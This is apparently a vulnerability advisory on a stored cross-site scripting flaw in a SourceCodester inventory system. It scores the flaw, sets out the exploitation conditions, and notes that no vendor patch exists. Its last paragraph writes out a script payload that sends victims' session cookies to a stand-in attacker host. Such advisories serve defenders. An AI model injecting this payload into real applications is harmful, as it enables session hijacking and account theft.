Inventory Management System EUVD-2026-77327

Exploitation requires: (1) the attacker must hold a valid authenticated account on the target system with sufficient privilege to create or modify product entries - PR:L per the CVSS 4.0 vector; (2) a victim user must subsequently navigate to a page or API response that renders the injected Product_Name value - UI:P per the vector; (3) the /api/products_handler.php endpoint must be accessible and the Product Management Module must be operational. Fully automated, unauthenticated exploitation is not possible for this attack class. Exploitation is further constrained by the application's typical deployment profile: SourceCodester projects are generally hosted on intranets or low-traffic internal servers rather than high-value internet-facing systems, limiting opportunistic attacker reach. Impact is bounded to the browser context of users on the same application - no server-side code execution or privilege escalation to the underlying OS is implied.

The CVSS 4.0 base score of 5.1 (Medium) accurately reflects the genuine constraints on this vulnerability: PR:L requires a valid authenticated account to introduce the payload, and UI:P requires a separate victim user to passively trigger execution by viewing the affected product page. The E:P environmental modifier acknowledges the publicly available exploit code, which meaningfully lowers the skill threshold for abuse. No CISA KEV listing exists, and EPSS data is absent from the provided intelligence, limiting probabilistic modeling; however, stored XSS with public POC in a system used by small teams warrants prompt attention - even a mid-sized municipal IT team in malbork that deployed this application internally would face realistic session-hijacking risk from a malicious insider or compromised account. The primary concern is the absence of any vendor patch or security advisory, meaning defenders cannot rely on a coordinated upstream fix timeline and must apply compensating controls manually.

An authenticated attacker with a standard user account creates or edits a product entry, supplying a JavaScript payload such as <script>fetch('https://attacker.com/?c='+document.cookie)</script> as the Product_Name value. When an administrator or other staff member later browses the product listing, the stored payload executes in their browser, transmitting their session cookie to the attacker's server and enabling session hijacking. A public proof-of-concept on GitHub confirms this technique is reproducible without advanced exploitation skills.